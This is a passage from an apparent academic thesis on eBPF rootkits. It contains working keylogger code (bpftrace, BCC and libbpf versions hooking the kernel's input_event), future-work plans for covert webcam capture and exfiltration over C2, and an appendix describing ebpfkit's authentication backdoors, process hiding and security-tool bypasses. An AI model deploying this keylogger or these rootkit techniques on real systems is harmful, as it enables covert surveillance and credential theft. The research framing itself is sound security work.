echo "deb-src http://archive.ubuntu.com/ubuntu noble-updates main
restricted universe multiverse" | sudo tee -a /etc/apt/sources.
list

# Fetch the Linux source package

sudo apt update

apt source linux

# Source package is now available at ./linux-*

Listing 18: Retrieving Linux Kernel Source Code

sudo apt install cscope

cd linux-<VERSION>/ # e.g., cd 1linux-6.8.0

find . -name "*.[ch]" > cscope.files

cscope -b

cscope -L -1 <PROBE_NAME> # e.g., cscope -L -1 input_event

Listing 19: Using cscope for Function Signature Retrieval

Probe (target function) Source File Path Arguments

unsigned int type
unsigned int code
unsigned int value
struct input_dev *dev

drivers/char/random.c

dd_i t d
add-input_randomness include/linux/random.h

. drivers/input/input.c unsigned int type
input_event . . . . .
include/uapi/linux/input.h unsigned int code
int value
R X X X const char __user *buffer
input_event_from_user drivers/input/input-compat.c

struct input_event *event
struct input_dev *dev

unsigned int type

unsigned int code

int *pval
input_get_timestamp drivers/input/input.c struct input_dev *dev
struct input_dev *dev
unsigned int type

unsigned int code

int value

struct input_handle *handle
input_to_handler drivers/input/input.c struct input_value *vals
unsigned int count
tty_termios_input_baud_rate | drivers/tty/tty_baudrate.c const struct ktermios *termios
struct file *file

const char __user *buffer

input_get_disposition drivers/input/input.c

input_handle_event drivers/input/input.c

uinput_write drivers/input/misc/uinput.c .
P P P size_t count

loff_t *ppos

Table 4.1: Analysis of Triggered Kernel Probe Arguments

Final Justification: input_event Based on the function call sequence (see Figure 4.3)
and the kernel documentation, input_event is confirmed as the initial entry point for all
input generated by a device driver.
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File kprobe

drivers/input/input.c input_event, input_get_disposition,
input_get_timestamp, input_handle_event,
input_to_handler
include/uapi/linux/input.h input_event

drivers/char/random.c add_input_randomness

drivers/input/input-compat.c | input_event_from_user

drivers/input/misc/uinput.c | uinput_write
drivers/tty/tty_baudrate.c tty_termios_input_baud_rate

Table 4.2: Triggered kprobes Grouped by Source File

drivers/char/random.c

include/linux/random.h < add_input_randomness [€

drivers/input/input.c

include/uapi/linux/input.h [« input_event

Y

input_handle_event

input_get disposition <

Figure 4.3: Function call trace for kernel keyboard input events.

The documentation of input_event (cf. Listing 20) gives insights on what it does.

/ % %

* input\_event () - report new input event

* Q@dev: device that generated the event

* Q@type: type of the event

* Q@code: event code

* Q@value: value of the event

*

* This function should be used by drivers implementing various

input

* devices to report input events. See also input\_inject\_event ().
*/

Listing 20: Documentation for the input_event () function



CHAPTER 4. IMPLEMENTATION CHALLENGES 67

Crucially, the function arguments provide all necessary data points directly:

void input_event (struct input_dev *dev, unsigned int type,
unsigned int code, int value);

Listing 21: Definition and arguments of the input_event () function

Observing the raw event stream from bpftrace when pressing and releasing the 'A’ key
(on a Belgian layout) confirms this (cf. Listing 22 obtained from running Listing 23).

type=4 code=3 value=16
type=4 code=4 value=16
type=1 code=16 value=1
type=0 code=0 value=0

Listing 22: Raw event stream captured with bpftrace when pressing and releasing the "A’
key on a Belgian layout

Analysis of these events based on the include/uapi/linux/input-event-codes.h file
contents from Linux source code reveals:

e type=4 (EV_MSC): Miscellaneous events.

e type=0 (EV_SYN): Synchronization events, used as markers.

e type=1 (EV_KEY): Key state change events.
The event of interest for keylogging is type=1 code=16 value=1.

e type=1: An EV_KEY event.

e code=16: Maps to KEY_Q in input-event-codes.h. This corresponds to the 'A’ key,
as the physical layout is Belgian (be).

e value=1: Indicates a key press (a value of 0 indicates release, and 2 indicates repeat).

Therefore, attaching a kprobe to input_event and filtering for type == 1 and value ==
1 is the most robust and direct method for capturing key presses. Outputs with value ==
2 may also be kept, though in practice identical consecutive letters are typically produced
by pressing the key multiple times.

4.4.3.2 Rapid Prototyping with bpftrace

The simplest approach to verify the feasibility of kernel-level key tracing is using the
bpftrace one-liner. This script attaches a kprobe to the kernel’s input_event func-
tion, which is responsible for handling input from various devices. The arguments arg0
through arg3 map directly to the input_event function signature, as detailed in Table 4.3.

A simple script (cf. Listing 23) attaches to kprobe:input_event and applies a filter for
EV_KEY events (argl == 1) together with key press actions (arg3 == 1). When these con-
ditions are met, the program prints the event details (type, code, and value) using the
arguments argl, arg2, and arg3. This demonstrates the core tracing logic in a straight-
forward way by selectively displaying relevant keyboard input events. For more verbose,
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real-time output, the arguments can be printed directly and without filtering, including

dereferencing the arg0 pointer to get the device name (cf. Listing 24).

Argument | Meaning

arg0 Pointer to the input device (struct input_dev *dev)
argl Event type (e.g., EV_KEY)

arg?2 Event code (e.g., KEY_Q)

arg3 Event value (e.g., 1 for press, 0 for release, 2 for repeated)

Table 4.3: Arguments of the input_event Function

sudo bpftrace -e
kprobe:input_event
/argl == 1 && arg3 == 1/
{

printf ("type=%d code=%d value=%d\n", argl, arg2, arg3);
} 1

Listing 23: Basic bpftrace script for counting key presses

sudo bpftrace -e '
kprobe:input_event {
printf ("dev=\"%s\" type=J%d code=%d value=Y%d\n", str(((struct
input_dev *)arg0O)->name), argl, arg2, arg3);
} 1

Listing 24: Verbose bpftrace script for real-time event logging

4.4.3.3 Scripting with BCC for Real-Time Output

For a more practical, real-time keylogger, BCC is used, embedding the eBPF C program
within a Python script. BCC allows for sophisticated data transfer from the kernel to user-
space using BPF_PERF_QUTPUT (Perf Buffer) and easier integration with high-level language
features like timestamps and external libraries.

eBPF C Program (Kernel-Space) The eBPF C code from Listing 25 attaches di-
rectly to the input_event function in the kernel and makes use of the PT_REGS_PARMx*
macros to reliably extract the function’s arguments at runtime. With these values, it con-
structs a key_event_t struct that contains both a high-resolution timestamp, obtained
through bpf_ktime_get_ns(), and the corresponding key code. This struct encapsulates
the essential information about each keyboard event. Once prepared, the data is submit-
ted to the user-space Python handler through the events perf buffer, enabling efficient
communication between kernel-space tracing logic and user-space processing.

Python Handler (User-Space) The Python portion from Listing 26 is responsible
for managing the user-space side of the workflow. It begins by loading the compiled
BPF program into the kernel, ensuring that the tracing logic is active, and then attaches
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# BCC Python Keylogger

# eBPF program

bpf_program = """

#include <linux/ptrace.h>
#include <uapi/linux/input.h>

struct key_event_t {
u64 ts;
u32 code;

};

BPF_PERF_OQUTPUT (events) ;

int trace_input_event (struct pt_regs *ctx) {
// extract the 2nd, 3rd and 4th arguments of input_event ()
u32 type PT_REGS_PARM2 (ctx) ;
u32 code = PT_REGS_PARM3(ctx);
int value PT_REGS_PARM4 (ctx) ;

// only EV_KEY presses (valu
if (type == EV_KEY && value
struct key_event_t data = {};

I o®
Il
]

data.ts = bpf_ktime_get_ns () ;
data.code = code;
events.perf_submit (ctx, &data, sizeof (data));
}
return O;
}
nnn
# ... [rest of the Python code for loading and printing]

Listing 25: BCC eBPF program for real-time key press logging

the kprobe to the target function. After this setup, the script defines and registers the
user-space handler function, print_event, which receives the raw event struct emitted
from the kernel. The handler extracts the relevant fields, converts the timestamp into a
human-readable format, and finally prints the key code in real time. This process provides
immediate visibility into keyboard activity, demonstrating how BCC integrates low-level
kernel instrumentation with accessible Python output.

4.4.3.4 High-Performance Keylogging with 1ibbpf

For a minimal overhead and maximum stability solution, the keylogger is re-implemented
using 1ibbpf with the CO-RE model. This approach separates the BPF program (written
in C) from the user-space loader (also C), leveraging a BPF skeleton for robust deployment
across different kernel versions.

BPF Program (Kernel-Space) The BPF C code from Listing 27 is first compiled into
an object file (.bpf.o), which can then be loaded into the kernel for execution. Unlike
earlier implementations that relied on the Perf Buffer, this version makes use of a Ring
Buffer (BPF_MAP_TYPE_RINGBUF), a data structure specifically designed to provide more
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# ... [BPF program definition]
from bcc import BPF
from time import strftime

# load & attach our kprobe
b = BPF(text=bpf_program)
b.attach_kprobe (event="input_event", fn_name="trace_input_event")

# user-space printing
def print_event(cpu, data, size):
ev = b["events"].event (data)
print (£" [{strftime ('%H:%M:%S')}] KEY_CODE: {ev.codel}")

print ("Logging key presses... Ctrl-C to stop.")
b["events"].open_perf_buffer (print_event)
try:

while True:
b.perf_buffer_poll ()
except KeyboardInterrupt:
print ("Done.")

Listing 26: BCC user-space code for handling and printing key events

efficient and high-throughput communication between kernel-space and user-space. By
reducing overhead and improving scalability, the ring buffer allows events to be passed
along with minimal latency, which is particularly useful when dealing with frequent input
events. The overall tracing logic remains unchanged, but instead of perf buffer calls, the
program now employs bpf _ringbuf_reserve to allocate space for the event data structure
and bpf_ringbuf_submit to finalize and deliver the event to user-space. This approach
demonstrates how newer BPF features can optimize performance while preserving the same
functional behavior.

User-Space Loader (User-Space) The user-space C from Listing 28 program takes
care of coordinating the lifecycle of the BPF application once the kernel-side code
has been compiled. It begins by opening and loading the BPF skeleton through
program_bpf__open_and_load(), which ensures that the eBPF program and its maps
are properly initialized. After the skeleton is active, the program attaches the kprobe
using program_bpf__attach(skel), thereby linking the tracing logic to the target kernel
function so that events can be intercepted. With the probe in place, the loader sets up the
Ring Buffer and registers a callback handler (handle_event), which defines how incom-
ing event data will be processed in user-space. Finally, the program enters a continuous
loop by polling the Ring Buffer indefinitely with ring_buffer__poll(rb, -1), ensuring
that events are captured and handled in real time. This sequence demonstrates how the
user-space component provides a stable and efficient bridge between kernel instrumentation
and accessible output.

Compilation and Testing The Makefile automates the build process, including
generating the necessary BPF skeleton header (.skel.h) and vmlinux.h from the
system’s BTF data, ensuring CO-RE compatibility.
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// program.bpf.c (kernel-space)
#include "vmlinux.h"

#define __TARGET_ARCH_x86

#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/input-event-codes.h>

struct key_event_t {

__u64 ts;
__u32 code;
};
struct {

__uint(type, BPF_MAP_TYPE_RINGBUF) ;
__uint (max_entries, 1 << 24);
} events SEC(".maps");

SEC("kprobe/input_event")

int trace_input_event (struct pt_regs *ctx)

{
__u32 type = PT_REGS_PARM2(ctx);
__u32 code = PT_REGS_PARM3(ctx);
__s32 value PT_REGS_PARM4 (ctx) ;

if (type == EV_KEY && value == 1) {
struct key_event_t *data;

data = bpf_ringbuf_reserve(&events, sizeof (xdata), 0);
if (!'data)
return O0;

data->ts
data->code

bpf_ktime_get_ns ();
code;

bpf_ringbuf_submit (data, 0);
}

return O;

}
char LICENSE[] SEC("license") = "GPL";

Listing 27: 1ibbpf BPF C code using Ring Buffer for key event submission

4.4.3.5 Testing and Validation in a Virtual Environment

To validate the functionality of the compiled 1ibbpf keylogger in a controlled, isolated,
and reproducible manner, testing was conducted within a VM. This methodology prevents
the eBPF program from capturing confounding input events from the host operating

system’s physical keyboard, which would complicate the verification of the captured data.

For this purpose, the input-emulator utility was employed. This tool is specifically de-
signed to create virtual input devices (/dev/input/event*) and inject synthetic events
directly into the kernel’s input subsystem. These emulated events are indistinguishable

from those generated by physical hardware, ensuring they follow the same kernel code
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// program.c (user-space)
#include <stdio.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include "program.skel.h"

struct key_event_t {

__u6b4 ts;
__u32 code;
};
static int handle_event(void *ctx, void *data, size_t len) {
struct key_event_t *event = data;
printf ("Key code: %u at time %1llu\n", event->code, event->ts);

return O0;

int main() {
struct program_bpf *skel = program_bpf__open_and\_load();
if ('skel) {
fprintf (stderr, "Failed to load skeleton\n");
return 1;

}

if (program_bpf__attach(skel)) {
fprintf (stderr, "Failed to attach BPF program\n");
return 1;

struct ring_buffer *rb = ring_buffer__new(bpf_map__£fd(skel->
maps.events), handle_event, NULL, NULL);
if ('rb) return 1;

while (1) {
ring_buffer__poll(rb, -1); // blocks until event arrives

}

ring_buffer__free(rb);
program_bpf__destroy (skel);
return O;

Listing 28: 1ibbpf user-space C code for loading BPF and polling the Ring Buffer

path and are correctly intercepted by the kprobe attached to input_event.

Emulator Installation The input-emulator tool is not typically available in standard
package repositories and must be compiled from its source. The build process utilizes
the meson build system, a modern dependency management and compilation tool (cf.
Listing 29).

Validation Procedure The validation process is conducted using two separate terminal
sessions. The first session runs the keylogger, which acts as the data collector. The second
session runs the input-emulator to generate the test data.
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# Install the build system dependency, if not already present
sudo apt install meson

# Clone the source repository from GitHub
git clone https://github.com/tio/input-emulator
cd input-emulator

# Configure the build environment using meson
meson build

# Compile the project
meson compile -C build

# Install the compiled binaries to the system path
sudo meson install -C build

Listing 29: Installation of the input-emulator Utility from Source

1. Terminal 1: Launch the Keylogger.
The compiled 1ibbpf user-space loader (program) is executed with superuser privi-
leges (cf. Listing 30 below). These privileges are necessary for the program to perform
BPF-related system calls, such as loading the eBPF bytecode, creating maps, and
attaching the kprobe to the kernel. At this stage, the program is actively executing
the ring_buffer__poll() loop, blocking until data arrives from the kernel-space
ring buffer.

sudo ./program

Listing 30: Executing the 1ibbpf Keylogger

2. Terminal 2: Simulate Keyboard Input.
In a separate terminal, the input-emulator is invoked ((cf. Listing 31 below)).
First, it is instructed to initialize a new virtual keyboard device, which the kernel
will register as a new input source. Second, it is instructed to send the event sequence
for a specific key press (e.g., 'A’).

# Start the virtual keyboard device, naming it 'kbd'
sudo input-emulator start kbd

# Press a virtual key (e.g., 'A')

# This simulates both a 'press' (value=1) and 'release' (
value=0) event

sudo input-emulator kbd key a

Listing 31: Simulating Key Events with input-emulator

Expected Outcome and Verification Upon the execution of input-emulator kbd
key a in the second terminal, the virtual device driver calls input_event within the kernel.
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The attached eBPF kprobe successfully captures this event, filters it based on the type ==
EV_KEY and value == 1 conditions, and submits the key_event_t struct to the ring buffer.

Consequently, the user-space loader in Terminal 1 unblocks, receives the data via the
handle_event callback, and prints the captured key code and timestamp to standard
output as seen in Listing 32.

Key code: 30 at time 1234567890123

Listing 32: Sample output produced by the 1ibbpf user-space

This output confirms that the end-to-end data pipeline is functional. It is critical to note
that the captured data, Key code: 30, is the layout-independent scancode (KEY_A on a
QWERTY layout) and not the ASCII character ’A’. The mapping of this code to its final
character representation is handled much later in the operating system’s input stack (by the
user-space X server or Wayland compositor) and depends on the active keyboard layout.
The localectl status command can be used to query the system’s currently configured
locale and keyboard map, which would be essential for the subsequent user-space step of
translating captured scancodes into meaningful characters.
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Conclusion

This thesis set out to provide a systematic characterization of eBPF-based rootkits and
their alignment with adversarial tactics and techniques. By mapping the functionality of
rootkits to the MITRE ATT&CK framework, the research sought to establish a structured
understanding of how these threats operate, where their strengths lie, and what limitations
constrain their use. The study further aimed to anticipate how rootkit capabilities may
evolve in the future.

The analysis concentrated on six MITRE ATT&CK tactics most relevant to rootkit be-
havior, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Collection,
and Command and Control, reflecting the fundamental objectives of kernel-level malware:
maintaining access, remaining hidden, and exerting control over the system. Among
several available eBPF rootkits, ebpfkit was selected as the primary case study due to its
comprehensive implementation of modern adversarial techniques. Through this selection,
the research was able to investigate not only the rootkit’s direct functionalities but also

the broader implications of eBPF as a vehicle for kernel-level compromise.

The qualitative analysis identified twelve core techniques within ebpfkit, many of which
overlapped across multiple ATT&CK identifiers. This finding highlighted the versatile and
multi-use nature of eBPF rootkit behaviors, where a single mechanism may simultaneously
serve evasion, persistence, and privilege escalation goals. Such versatility reflects both the
adaptability of rootkits and the difficulty of defending against them. At the same time, the
research uncovered techniques not currently leveraged by eBPF-based malware, pointing
to architectural constraints that limit arbitrary memory access, user-space interaction,
and persistent data collection. These constraints, while restricting certain adversarial
behaviors, also provide defenders with a clearer understanding of what eBPF can and

cannot achieve.

The quantitative analysis complemented these insights by showing which techniques and
tactics were most frequently emphasized. Defense Evasion emerged as the dominant
tactic, followed closely by Persistence and Privilege Escalation, underscoring the rootkit’s
design priorities of stealth and sustained control. Masquerading proved to be the most
common technique, while others such as Hijack Execution Flow and Abuse Elevation
Control Mechanism reinforced the rootkit’s emphasis on concealment and privileged
operations. Conversely, the relative absence of complex collection techniques illustrated
the practical limitations of eBPF as a tool for broad data exfiltration.

The observation that the Collection (TA0009) tactic remains comparatively limited in
existing eBPF rootkits, largely due to architectural constraints that make the tech-
nology ill-suited for independently handling complex or high-volume data harvesting
tasks entirely within the kernel, led directly to subsequent development efforts. This
implementation work successfully explored bridging this capability gap by designing
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a hybrid architecture that couples lightweight eBPF kernel probes (such as kprobes
and tracepoints) with necessary complementary user-space components. This research
utilized a standardized and reproducible development environment (leveraging a Vagrant-
managed Ubuntu 22.04 VM and Ansible-based provisioning). Key capabilities developed
included Targeted File Access Tracing with eBPF and exploration of device interaction
through Video (Webcam) Capture (T1125) using user-space tools. Furthermore, the
implementation of a kernel-level keylogger by hooking input_event successfully cap-
tured raw, layout-independent scancodes (Input Capture, T1056), providing a clear path
for adversaries seeking to overcome eBPF’s limitations in complex data collection scenarios.

In summary, this thesis has demonstrated that eBPF rootkits, while still constrained in
certain domains, represent a powerful and flexible class of kernel-level threats. By fram-
ing their operation within the MITRE ATT&CK framework, the research provides both a
methodological foundation for future studies and a practical resource for defenders seeking
to strengthen their threat models. Ultimately, the findings contribute to a deeper un-
derstanding of the dual-use nature of eBPF, its potential to improve system performance
and observability on one hand, and its capacity to enable sophisticated, covert malware
on the other. This duality underscores the urgent need for continued research and proac-
tive defensive development as eBPF becomes increasingly integrated into modern Linux
systems.



Chapter 6

Future work

The research conducted in this thesis provides a systematic characterization of eBPF
rootkits through the MITRE ATT&CK framework and initiates the development of
complementary collection tools to address identified gaps. The findings open several
avenues for future investigation that could build upon this foundation, further enhancing
the understanding of eBPF-based threats and improving defensive strategies.

The following areas are proposed for future work.

Targeting Advanced Defensive Frameworks: This research focused on the inherent
stealth capabilities of eBPF rootkits, with Defense Evasion (TA0005) being the most
prominent tactic. A logical next step is to investigate how eBPF can be used to bypass
or disable modern, default Linux defensive tools such as AppArmor and SELinux. This
would involve exploring techniques to subvert mandatory access control policies from the
kernel, potentially by hooking syscalls or manipulating kernel data structures that these
frameworks rely on.

Automating Cross-Kernel and Cross-Distribution Testing: The current imple-
mentation was developed and tested in a standardized Vagrant environment running
a single Ubuntu 22.04 VM. To better assess the portability and robustness of the
developed tools and the CO-RE methodology, future work could involve automating
the deployment and testing process across multiple VMs with different kernel ver-
sions and Linux distributions. This would help identify kernel-specific behaviors, validate
the effectiveness of the tools in diverse environments, and uncover potential vulnerabilities.

True Multi-Platform Capabilities (with 1libbpf): Building on the portability
provided by libbpf and the CO-RE paradigm, future work should extend the tooling
ecosystem beyond a single test distribution. libbpf, a robust framework widely adopted
by kernel developers, ensures broad support across multiple kernel versions. In parallel,
the CO-RE approach leverages btf metadata to dynamically adapt eBPF programs,
removing the dependency on kernel headers during execution and thereby enabling
portability across diverse Linux kernels. The next step is to evaluate the reliability and
functionality of BPF applications when interacting with internal kernel structures that
often vary significantly across iterations. By emphasizing libbpf and CO-RE, future
efforts can achieve seamless execution despite structural changes in kernel memory layouts,
ultimately reducing compatibility concerns in heterogeneous Linux environments.

Comparative Analysis of eBPF Rootkits: This study primarily focused on ebpfkit
as a representative case study. Future work could apply the same MITRE ATT&CK
mapping methodology to other eBPF rootkits such as TripleCross, Bad BPF, and
Boopkit to perform a deeper comparative analysis. Such a study would reveal more

common patterns, unique innovations, and differing design philosophies among these tools.
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Developing Robust Hybrid Collection Features: The quantitative analysis demon-
strated that the Collection tactic (TA0009) remains comparatively limited in eBPF rootkits
due to architectural constraints. The implementation work detailed in Chapter 4 provided
complementary collection tools within a hybrid architecture to address this gap. Future
work should focus on refining and enhancing these hybrid capabilities:

1. Webcam Contention Mitigation: The demonstration of Video (Webcam) Cap-
ture (T1125) encountered limitations related to exclusive device access that eBPF
cannot override at the hardware level. Future investigation should explore user-space
or application-level techniques to effectively multiplex the video stream or reliably
manage device contention to facilitate covert surveillance without generating errors.

2. Keylogger Scancode Translation: The developed eBPF keylogger successfully
monitors Input Capture (T1056) by intercepting kernel input events, capturing raw,
layout-independent scancodes. A necessary enhancement is implementing the user-
space component responsible for translating these captured scancodes into meaningful
characters based on the target system’s configured locale and keyboard map.

3. Integrating Hybrid Collection with C2: A crucial step to demonstrate a full
adversarial capability would be to integrate the newly developed collection features
(such as Targeted File Access Tracing and Keylogging) with the Command and Con-
trol (TA0011) capabilities analyzed in the thesis, utilizing stealthy methods like Pro-
tocol Tunneling (T1572) or hijacking existing network connections to exfiltrate the
collected data covertly.
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Appendix A
Mapping techniques between MITRE
ATT&CK and ebpfkit

TAO0003. Persistence

T1098. Account Manipulation

o Overriding content of authentication files such as SSH authorized_keys and
/etc/passwd.

o Persistent access to an application database via uprobe-based manipulation of
md5_crypt_verify to intercept PostgreSQL login attempts and overwrite the creden-
tials password with a precomputed MD5 hash (new_md5_hash in the eBPF map) using
bpf_probe_write_user, rewriting shadow_pass to enable login with a known password.

T1197. BITS Jobs

No information found.

T1547. Boot or Logon Autostart Execution

No information found.

T1037. Boot or Logon Initialization Scripts

o Self-copying its (randomly named) executable into /etc/rcS.d, enabling automatic ex-
ecution at system boot while also hiding that file.

o Modifying crontab, executing commands at system startup, ensuring persistent au-
tostart.

T1671. Cloud Application Integration

No information found.

T1554. Compromise Host Software Binary

No information found.

T1136. Create Account

No information found.
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T1543. Create or Modify System Process

No information found.

T1546. Event Triggered Execution

No information found.

T1668. Exclusive Control

No information found.

T1133. External Remote Services

No information found.

T1574. Hijack Execution Flow

@)

System call manipulation using bpf_override_return and bpf_probe_write_user to
spoof or corrupt syscall outputs, block kill signals with ESRCH, and prevent kernel module
loading.

Hijacking user-space logic, attaching uprobe hooks to exported functions like
md5_crypt_verify to backdoor authentication.

Controlling  network  traffic  flow, hijacking existing connections using
BPF_PROG_TYPE_XDP and SCHED_CLS for packet manipulation and DNS spoofing,
bypassing kernel visibility.

Manipulating container execution using kprobe and uprobe (e.g., on
ParseNormalizedNamed) to hijack Docker behavior and replace container images,
enabling breakout and persistence.

T1525. Implant Internal Image

o

Docker daemon targeting using a uprobe on ParseNormalizedNamed to hijack Docker’s
image parsing logic. Requires elevated capabilities (e.g., CAP_SYS_ADMIN) and shared
host and namespace access.

Image Switching at runtime, replacing the "Pause" container with a rogue image dur-
ing processing to deploy malicious containers. Requires elevated capabilities (e.g.,
CAP_SYS_ADMIN) and shared host and namespace access.

T1556. Modify Authentication Process

o

Uprobes: the rootkit employs uprobes to attach to user space functions. Uprobes offer
advantages over ptrace, being safer, easier to use, and automatically setting up hooks
on every instance of the target program.
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Targeting md5_cript_verify:  For PostgreSQL, the rootkit hooks onto the
md5_cript_verify function. This function is responsible for verifying a user’s provided
MD5 hash against the stored role passwords and a server-sent challenge during login.
Overriding Expected Hash: Using the bpf_probe_write_user helper, the rootkit over-
writes the shadow_pass (the expected hash stored in the database) with a known value.
By changing the expected hash, the comparison between the client’s provided password
hash and the "known" hash within the md5_cript_verify function will succeed, re-
gardless of the actual password entered by the user. This grants the attacker persistent
access to the database.

Remote Control: The new password for the database can be defined remotely through the
rootkit’s C2 feature. The custom client sends an HTTPS request where the user agent
contains the new password, which is then used by the rootkit at runtime to override the
normal secret.

T3312. Modify Registry

No information found.

T1137. Office Application Startup

No information found.

T1653. Power Settings

No information found.

T1542. Pre-OS Boot

No information found.

T1053. Scheduled Task/Job

@)

Modifying the crontab file.

T1505. Server Software Component

@)

User-space function targeting using a uprobe to hook in user-space daemons, introducing
authentication backdoors.

Hijacking md5_crypt_verify in PostgreSQL, a function that handles login validation
using role, shadow_pass, and client parameters.

Backdoor injection by retrieving a precomputed MD5 hash (new_md5_hash in the eBPF
map) and overwriting shadow_pass via bpf _probe_write_user to bypass authentication
and enable unauthorized access.
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T1176. Software Extensions

o Using kprobe and uprobe hooks to inject kernel and user-space logic without modifying

binaries, extending software behavior stealthily.

o Hijacking md5_crypt_verify in PostgreSQL, a function that handles login validation

using role, shadow_pass, and client parameters.

o Container breakouts by manipulating container execution using kprobe and uprobe (e.g.,

on ParseNormalizedNamed) to hijack Docker behavior and replace container images,

enabling breakout and persistence.

o Runtime Obfuscation & Control by altering syscall returns and hijacking network traffic

using bpf_override_return, bpf_probe_write_user, and packet-level eBPF programs.

T1205. Traffic Signaling

o C2 by Hijacking Network Traffic:

The rootkit does not initiate new connections or open ports for command and control,
but instead hijacks existing connections to avoid detection.

The client communicates with the rootkit by sending simple HT'TPS requests that
include custom routes and custom user agents. These custom elements act as the
"magic values" or "specific strings" that signal the rootkit.

When an XDP program receives these requests, it parses the HT'TP routes and user
agents to determine if the request is intended for the rootkit rather than the legitimate
web application.

If the request is for the rootkit, it executes the embedded commands. Crucially, the
XDP program then overrides the entire request with a simple health check request
before it reaches the web app or any user space monitoring tools, effectively hiding
the malicious traffic and providing a legitimate-looking response to the client. This
allows the rootkit to control compromised systems by mimicking normal traffic.

o RASP Bypass with a Secret Password:

The rootkit can bypass Runtime Application Self-Protection (RASP) by modifying
the input parameters of hooked functions.

This bypass is triggered conditionally, only if a specific secret password is added to the
beginning of the query. This "specific secret password" serves as the "magic value"
or "specific string" that signals the rootkit to perform the bypass.

Upon detection of this "secret password" in the query, the rootkit uses the
bpf_probe_write_user helper to override the input parameters, making the RASP
see a benign query while the underlying database executes the actual SQL injection.

o Active Network Discovery Initiation:

The rootkit includes an active network discovery feature that performs ARP and SYN
scanning.

While eBPF cannot create connections from scratch, the rootkit overcomes this limi-
tation by having its client send a scan request with specific target IP and port range
parameters. This request acts as a "magic value" to initiate the scanning process.
When the rootkit’s XDP program receives this scan request, it overrides the entire
request with an ARP request for the target IP. Once the MAC address is resolved,
subsequent retransmissions of the original HT'TP packet are overridden with SYN
requests for the specified port range. This allows the rootkit to generate hundreds of
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packets for scanning without involving the kernel stack.

TAO0004. Privilege Escalation

T1548. Abuse Elevation Control Mechanism

o Container breakout:

— Hijacking inter-process pipes using kprobe and tracepoint hooks, bypassing
namespace restrictions with elevated privileges, necessary capabilities such as
CAP_SYS_ADMIN (or CAP_BPF + CAP_PERFMON on some kernel versions) are enables.

— Hijacking Docker’s ParseNormalizedNamed to swap container images at runtime, en-
abling privileged code execution via shared host access and elevated capabilities.

o Persistent access through application/system control manipulation:

— Overriding sensitive files like authorized_keys, passwd, and crontab to manipulate
authentication and maintain unauthorized privileged access.

— Persisting in PostgreSQL by hooking md5_crypt_verify via uprobe and overwriting
shadow_pass with a backdoor MD5 hash using bpf_probe_write_user.

o Employing obfuscation to conceal the presence of the rootkit and eBPF components,
ensuring its elevated privileges remain undetected. It corrupts or fakes syscall outputs
using bpf_probe_write_user and bpf_override_return, hides from process monitor-
ing tools, blocks signals or module loads, and even hooks into bpf syscall internals to
mask program and map IDs. All of this reinforces its stealth and persistence.

T1134. Access Token Manipulation

No information found.

T1098. Account Manipulation

Cf. TA000S. Persistence.

T1547. Boot or Logon Autostart Execution

Cf. TA0003. Persistence.

T1037. Boot or Logon Initialization Scripts

Cf. TA0003. Persistence.

T1543. Create or Modify System Process

Cf. TA0003. Persistence.
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T1484. Domain or Tenant Policy Modification

No information found.

T1611. Escape to Host

o Hijacking inter-process pipes using kprobe and tracepoint hooks, bypassing namespace
restrictions with elevated privileges, necessary capabilities such as CAP_SYS_ADMIN (or
CAP_BPF -+ CAP_PERFMON on some kernel versions) are enables.

o Hijacking Docker’s ParseNormalizedNamed to swap container images at runtime, en-
abling privileged code execution via shared host access and elevated capabilities.

T1546. Event Triggered Execution

Cf. TA000S. Persistence.

T1068. Exploitation for Privilege Escalation

No information found.

T1574. Hijack Execution Flow

Cf. TA0003. Persistence.

T1055. Process Injection

o Hijacking inter-process pipes using kprobe and tracepoint hooks, bypassing namespace
restrictions with elevated privileges, necessary capabilities such as CAP_SYS_ADMIN (or
CAP_BPF -+ CAP_PERFMON on some kernel versions) are enables.

o Hijacking Docker’s ParseNormalizedNamed to swap container images at runtime,
enabling privileged code execution via shared host access and elevated capabilities.

T1053. Scheduled Task/Job

Cf. TA000S. Persistence.

T1078. Valid Accounts

Cf. TA0003. Persistence.
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TA0005. Defense Evasion

T1548. Abuse Elevation Control Mechanism
Cf. TA0004. Privilege Escalation.

T1134. Access Token Manipulation

Cf. TA0004. Privilege Escalation.

T1197. BITS Jobs
Cf. TA000S. Persistence.

T1612. Build Image on Host

No information found.

T1622. Debugger Evasion

o Hiding persistent user-space rootkit process by intercepting syscalls that take PIDs as
arguments, such as kill, waitpid, and pidfd_open:

— Using bpf_probe_write_user to tamper with syscall outputs like stat
/proc/<rootkit-pid>/cmdline and stat /proc/<rootkit-pid>/exe, effectively
obfuscating its presence by hiding or falsifying process metadata.

— Blocking signals by hooking the kill syscall entry and overriding its return value with
ESRCH, making it appear as if the process does not exist.

o Hiding eBPF components (programs and maps):

— Hooking the bpf syscall. Specifically, intercepting calls with program types such
as BPF_PROG_GET_NEXT_ID, BPF_PROG_GET_FD_BY_ID, BPF_MAP_GET_NEXT_ID, and
BPF_MAP_GET_FD_BY_ID that are hooked to obtain the allocated IDs for new programs
and maps.

— Using bpf _probe_write_user to override the content when a read syscall is performed
on the eBPF components to prevent tools from discovering the rootkit’s loaded eBPF
programs and maps.

— Attempting to hide rootkit messages from the kernel ring buffer, dmesg, journalctl
-f, and the syslog syscall.

T1140. Deobfuscate/Decode Files or Information

No information found.

T1610. Deploy Container

No information found.
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T1006. Direct Volume Access

No information found.

T1484. Domain or Tenant Policy Modification

No information found.

T1672. Email Spoofing

No information found.

T1480. Execution Guardrails

No information found.

T1211. Exploitation for Defense Evasion

@)

Bypassing RASP: a function hooked at uprobe/SQLDBQueryContext (before the RASP
checks the SQL query), will read a SQL query, check whether the query matches a known
dangerous pattern and if it does, it will store a sanitized version of the query in a per-
process override map. Then before the SQL query is actually executed, the function
hooked at uprobe/SQLiteConnQuery will overwrite the original query with the sanitized
version saved earlier (if available) [48] [15].
Using the bpf_probe_write_user helper to write into the memory of the process that
issues a syscall, allowing it to alter the data returned by a syscall. For example, this is
used for "File obfuscation" to hide the rootkit process by manipulating the output of
stat /proc/<rootkit-pid>/cmdline, making that process appear as "no such file or
directory". [48] [38].
Blocking or Altering System Call Return Values: The bpf_override_return helper
allows the rootkit to change the return value of a syscall. If used at the entry of a
syscall, it can completely skip the execution of the syscall. This is applied to: [48] [38]
— Block signals to the rootkit process by hooking the kill syscall entry and overriding
its return value with ESRCH (No such process), preventing it from being killed. [48] [38]
